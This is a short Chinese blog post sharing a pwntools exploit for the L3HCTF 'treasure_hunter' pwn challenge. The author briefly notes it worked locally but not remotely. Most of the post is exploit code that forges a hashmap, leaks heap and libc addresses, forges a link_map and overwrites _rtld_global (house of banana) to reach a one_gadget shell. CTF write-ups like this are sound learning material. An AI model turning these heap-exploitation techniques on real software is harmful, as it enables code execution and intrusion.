L3hctf pwn-treasure_hunter exp

时隔多年打开博客发现还有一篇草稿((

前面的话可以伪造一下hashmap或者去逆hashmap。

我这边是直接伪造,然后打了个house of banana

exp当时是本地通了,远程没通,那时还不知道ld和libc的偏移不是固定的,其他没什么问题

就记得这么多了x

exp:

from pwn import *
from re import *
context(os='linux', arch='amd64', log_level='info') 

p = remote('1.95.4.251',31778)
elf = ELF('./treasure_hunter')
libc = ELF('./libc.so.6')


#############   first    go

p.sendlineafter('Today, where are we going, captain?',b'1260')
p.sendlineafter('b for bury and g for get)',b'g')
p.sendlineafter('How many to get?',b'241')
#dbg()
p.sendlineafter('Content length:',b'1032')#0x408 #first chunk
payload1=b'a'*0x408             #

p.sendafter('Content:',payload1)
p.sendlineafter('Buy?(y for yes)',b'y')
p.recvuntil(b'get a thing called flag: ')

hashmap=int(p.recv(14),16)
# print('hashmap=',hex(hashmap))
_411chunk=hashmap-0x410
# print('411chunk=',hex(_411chunk))
fake_map=_411chunk+0x30
fake_map_map=_411chunk+0x40

address=b'32'
p.sendlineafter('want to write:',address)
p.sendafter('Write: ',b'\x99')
p.sendafter('captain?(y to end exploration)\n',b'n')
#############   second    go

p.sendlineafter('Today, where are we going, captain?',b'235')
p.sendlineafter('b for bury and g for get)',b'g')
p.sendlineafter('How many to get?',b'115')


p.sendlineafter('Content length:',b'1032')#0x408
#0x55b8696382b0
low=(hashmap-0x240)&0xffff

payload2=b'a'*0x1d0+p64(hashmap-0x230)+p64(hashmap-0x230+0x200)+b'a'*0x140+p64(0x1629)+p64(1)+b'a'*0xd8+p64(0x21)+p16(low)
#payload2=b'a'*0x10+p64(fake_map_map)+p64(0x1200)+p64(1)+b'\x00'*0x3f8+p64(0x21)+p64(fake_map_low)



p.sendafter('Content:',payload2)

p.sendafter('Buy?(y for yes)',b'n')

p.sendafter('captain?(y to end exploration)\n',b'n')

############    thrid   go

#dbg()
p.sendlineafter('Today, where are we going, captain?',b'5673') #0x1629
p.recvuntil('we discovered ')
string=p.recvuntil(' gold coin(s)!').decode()
leak1=re.search(r"\d+",string)
leak1=int(leak1.group())
# print('leak1=',hex(leak1))

p.sendafter('b for bury and g for get)',b'\n')
p.sendlineafter('Content length:',b'1032')#0x408

payload2=b'a'*0x1d0+p64(hashmap-0x230)+p64(hashmap-0x230+0x200)+b'a'*0x100+p64(0x1633)+p64(1)+b'a'*0x118+p64(0x21)+p16(low)
p.sendafter('Content:',payload2)
p.sendafter('Buy?(y for yes)',b'n')
p.sendafter('captain?(y to end exploration)\n',b'n')


############    thrid   go

p.sendlineafter('Today, where are we going, captain?',b'5683') #0x1633
p.recvuntil('we discovered ')
string=p.recvuntil(' gold coin(s)!').decode()
leak2=re.search(r"\d+",string)
leak2=int(leak2.group())
# print('leak2=',hex(leak2))

p.sendafter('b for bury and g for get)',b'\n')
p.sendlineafter('Content length:',b'1032')#0x408

payload2=b'a'*0x1d0+p64(hashmap-0x230)+p64(hashmap-0x230+0x200)+b'a'*0x110+p64(0x1642)+p64(1)+b'a'*0x108+p64(0x21)+p16(low)
p.sendafter('Content:',payload2)
p.sendafter('Buy?(y for yes)',b'n')
p.sendafter('captain?(y to end exploration)\n',b'n')

############     fourth go

p.sendlineafter('Today, where are we going, captain?',b'5698') #0x1642
p.recvuntil('we discovered ')
string=p.recvuntil(' gold coin(s)!').decode()
leak3=re.search(r"\d+",string)
leak3=int(leak3.group())
# print('leak3=',hex(leak3))

p.sendafter('b for bury and g for get)',b'\n')
p.sendlineafter('Content length:',b'1032')#0x408

payload3=b'a'*0x1d0+p64(hashmap-0x230)+p64(hashmap-0x230+0x200)+b'a'*0x1a0+p64(0x1654)+p64(1)+b'a'*0x78+p64(0x21)+p16(low)
p.sendafter('Content:',payload3)
p.sendafter('Buy?(y for yes)',b'n')
p.sendafter('captain?(y to end exploration)\n',b'n')
############     fifth go

p.sendlineafter('Today, where are we going, captain?',b'5716') #0x1654
p.recvuntil('we discovered ')
string=p.recvuntil(' gold coin(s)!').decode()
leak4=re.search(r"\d+",string)
leak4=int(leak4.group())
# print('leak4=',hex(leak4))
#0xd69059
p.sendafter('b for bury and g for get)',b'\n')
p.sendlineafter('Content length:',b'1032')#0x408

payload4=b'a'*0x1d0+p64(hashmap-0x230)+p64(hashmap-0x230+0x200)+b'a'*0x1a0+p64(0x1654)+p64(1)+b'a'*0x78+p64(0x21)+p16(low)
p.sendafter('Content:',payload4)
p.sendafter('Buy?(y for yes)',b'n')
p.sendafter('captain?(y to end exploration)\n',b'n')

##### get libc  ####
libc_base=0x7f<<40
libc_base+=leak4<<32
libc_base+=(leak2)<<24
libc_base+=(0x20)<<16
#libc_base+=(leak2)<<24
#libc_base+=(0x20)<<16


# print('libc=',hex(libc_base))
###########        sixth go

one_gadget=libc_base+0xebc81#[0x50a47,0xebc81,0xebc85,0xebc88]
_rtld_global=0x7f<<40
_rtld_global+=leak4<<32
_rtld_global+=leak2<<24
_rtld_global+=leak3<<16
_rtld_global+=(leak1+8)<<8
_rtld_global+=0x59
_rtld_global+=0xafe7
# print('_rtld_global=',hex(_rtld_global))
l_next=_rtld_global+0x1850
l_real=hashmap+0x650




p.sendlineafter('Today, where are we going, captain?',b'5716') #0x1654

p.sendafter('b for bury and g for get)',b'\n')

p.sendlineafter('Content length:',b'4096')#0x1000

padding=b'\x00'*0x40
link_map=p64(0)
link_map+=p64(l_next)  #l_next
link_map+=p64(0)
link_map+=p64(l_real)  #l_real
link_map+=p64(0)*28
link_map+=p64(l_real+0x110) #l->info[26]
link_map+=p64(l_real+0x130) #27
link_map+=p64(l_real+0x120) #28
link_map+=p64(0x8) #29
link_map+=p64(one_gadget)
link_map+=p64(0)*59
link_map+=p64(0x800000000)*8


p.sendafter('Content:',padding+link_map)
p.sendafter('Buy?(y for yes)',b'n')
p.sendafter('captain?(y to end exploration)\n',b'n')

###########        seventh go

p.sendlineafter('Today, where are we going, captain?',b'5716') #0x1654
p.recvuntil('we discovered ')

p.sendafter('b for bury and g for get)',b'\n')
p.sendlineafter('Content length:',b'1032')#0x408
low=(hashmap-0x340)&0xffff
print('low=',hex(low))
payload7=b'a'*0xd0+p64(hashmap-0x90)+p64(hashmap-0x90+0x200)+b'a'*0x2a0+p64(0x3040)+p64(1)+b'a'*0x78+p64(0x21)+p16(low+0x6e0)

p.sendafter('Content:',payload7)
p.sendafter('Buy?(y for yes)',b'n')
p.sendafter('captain?(y to end exploration)\n',b'n')

###########        eighth go


def change_hash(i,content):
        p.sendlineafter('Today, where are we going, captain?',b'235') #0xeb
        p.sendafter('b for bury and g for get)',b'\n')
        p.sendlineafter('Content length:',b'1032')#0x408
        p.sendafter('Content:',b'a'*0x8)
        p.sendafter('Buy?(y for yes)',b'y')
        address=i
        p.sendlineafter('want to write:',str(address).encode())
        
        p.sendafter('Write: ',content)
        p.sendafter('captain?(y to end exploration)\n',b'n')
        
p.sendlineafter('Today, where are we going, captain?',b'1766')
p.sendafter('b for bury and g for get)',b'g')
p.sendlineafter('How many to get?',b'246')
p.sendlineafter('Content length:',b'1032')#0x408
p.sendafter('Content:',b'a'*0x8)
p.sendafter('Buy?(y for yes)',b'n')
p.sendafter('captain?(y to end exploration)\n',b'n')
        
p.sendlineafter('Today, where are we going, captain?',b'798')
p.sendafter('b for bury and g for get)',b'g')
p.sendlineafter('How many to get?',b'219')
p.sendlineafter('Content length:',b'1032')#0x408
p.sendafter('Content:',b'a'*0x8)
p.sendafter('Buy?(y for yes)',b'n')
p.sendafter('captain?(y to end exploration)\n',b'n')
        
p.sendlineafter('Today, where are we going, captain?',b'2864')
p.sendafter('b for bury and g for get)',b'g')
p.sendlineafter('How many to get?',b'189')
p.sendlineafter('Content length:',b'1032')#0x408
p.sendafter('Content:',b'a'*0x8)
p.sendafter('Buy?(y for yes)',b'n')
p.sendafter('captain?(y to end exploration)\n',b'n')

p.sendlineafter('Today, where are we going, captain?',b'3684')
p.sendafter('b for bury and g for get)',b'g')
p.sendlineafter('How many to get?',b'180')
p.sendlineafter('Content length:',b'1032')#0x408
p.sendafter('Content:',b'a'*0x8)
p.sendafter('Buy?(y for yes)',b'n')
p.sendafter('captain?(y to end exploration)\n',b'n')


p.sendlineafter('Today, where are we going, captain?',b'601')
p.sendafter('b for bury and g for get)',b'g')
p.sendlineafter('How many to get?',b'171')
p.sendlineafter('Content length:',b'1032')#0x408
p.sendafter('Content:',b'a'*0x8)
p.sendafter('Buy?(y for yes)',b'n')
p.sendafter('captain?(y to end exploration)\n',b'n')



        
change_hash(0,b'\x19')#0x44391f6c727b7619
change_hash(1,b'\x76')
change_hash(2,b'\x7b')
change_hash(3,b'\x72')
change_hash(4,b'\x6c')
change_hash(5,b'\x1f')
change_hash(6,b'\x39')
change_hash(7,b'\x44')
change_hash(8,b'\x50')# 0x1174426f58045250
change_hash(9,b'\x52')
change_hash(10,b'\x04')
change_hash(11,b'\x58')
change_hash(12,b'\x6f')
change_hash(13,b'\x42')
change_hash(14,b'\x74')
change_hash(15,b'\x11')
change_hash(16,b'\x3a')#0x393e285d4b693b3a
change_hash(17,b'\x3b')
change_hash(18,b'\x69')
change_hash(19,b'\x4b')
change_hash(20,b'\x5d')
change_hash(21,b'\x28')
change_hash(22,b'\x3e')
change_hash(23,b'\x39')
change_hash(24,b'\x79')#0xffffffff3a4c3679
change_hash(25,b'\x36')
change_hash(26,b'\x4c')

p.sendlineafter('Today, where are we going, captain?',b'235') #0xeb
p.sendafter('b for bury and g for get)',b'\n')
p.sendlineafter('Content length:',b'1032')#0x408

low=(hashmap-0x340)&0xffff
payload=b'a'*0xd0+p64(hashmap-0x330)+p64(hashmap-0x330+0x200)
payload+=p64(0x8b1)+p64(0)
payload+=p64(0x558)+p64(1)
payload+=p64(0x5da)+p64(0)
payload+=p64(0xc18)+p64(0)
payload+=p64(0xa9f)+p64(0)
payload+=p64(0x3040)+p64(1)
payload+=p64(0x3042)+p64(1)
payload+=p64(0x3043)+p64(1)
payload+=p64(0x3045)+p64(1)
payload+=p64(0xf75)+p64(0)
payload+=p64(0x31e)+p64(1)
payload+=p64(0xd8e)+p64(0)
payload+=p64(0xb30)+p64(1)
payload+=p64(0xc4d)+p64(1)
payload+=p64(0x83b)+p64(1)
payload+=p64(0x259)+p64(1)
payload+=p64(0x4b3)+p64(0)
payload+=p64(0x3041)+p64(1)
payload+=p64(0x3044)+p64(1)
payload+=p64(0x3046)+p64(1)
payload+=p64(0xd13)+p64(1)
payload+=p64(0x15d)+p64(1)
payload+=p64(0x615)+p64(1)
payload+=p64(0x24a)+p64(0)
payload+=p64(0x6e6)+p64(1)
payload+=p64(0xe64)+p64(1)
payload+=p64(0x4ec)+p64(1)
payload+=p64(0xeb)+p64(1)
payload+=b'a'*0x88+b'b'*0xe0+p64(0x21)+p16(low)



p.sendafter('Content:',payload)
p.sendafter('Buy?(y for yes)',b'y')
p.sendlineafter('want to write:',str(27).encode())
p.sendafter('Write: ',b'\x3a')
p.sendafter('captain?(y to end exploration)\n',b'n')

def change_rtld_global(index,me):#
        p.sendlineafter('Today, where are we going, captain?',str(index).encode()) 
        p.recvuntil('we discovered ')
        string=p.recvuntil(' gold coin(s)!').decode()
        you=re.search(r"\d+",string)
        you=int(you.group())
        # print('you=',hex(you))
        if me > you :
                p.sendafter('b for bury and g for get)',b'b')
                p.sendlineafter('How many to bury?',str(me-you).encode())
        else:
                p.sendafter('b for bury and g for get)',b'g')
                p.sendlineafter('How many to get?',str(you-me).encode())
        
        p.sendlineafter('Content length:',b'4200')#>4096



change_rtld_global(0x3040,l_real&0xff)
change_rtld_global(0x3041,(l_real>>8)&0xff)
change_rtld_global(0x3042,(l_real>>16)&0xff)
change_rtld_global(0x3043,(l_real>>24)&0xff)
change_rtld_global(0x3044,(l_real>>32)&0xff)
change_rtld_global(0x3045,(l_real>>40)&0xff)
#change_rtld_global(0x3046,(l_real>>48)&0xff)
# print('_rtld_global=',hex(_rtld_global))

p.sendlineafter('Today, where are we going, captain?',b'12352') 
p.sendafter('b for bury and g for get)',b'\n')
p.sendlineafter('Content length:',b'32')#0x20
p.sendafter('Content:',b'a'*0x8)

p.sendafter('Buy?(y for yes)',b'n')
print('libc=',hex(libc_base))
#dbg()
p.sendafter('captain?(y to end exploration)\n',b'y')

p.interactive()

浇浇我,我什么都会做的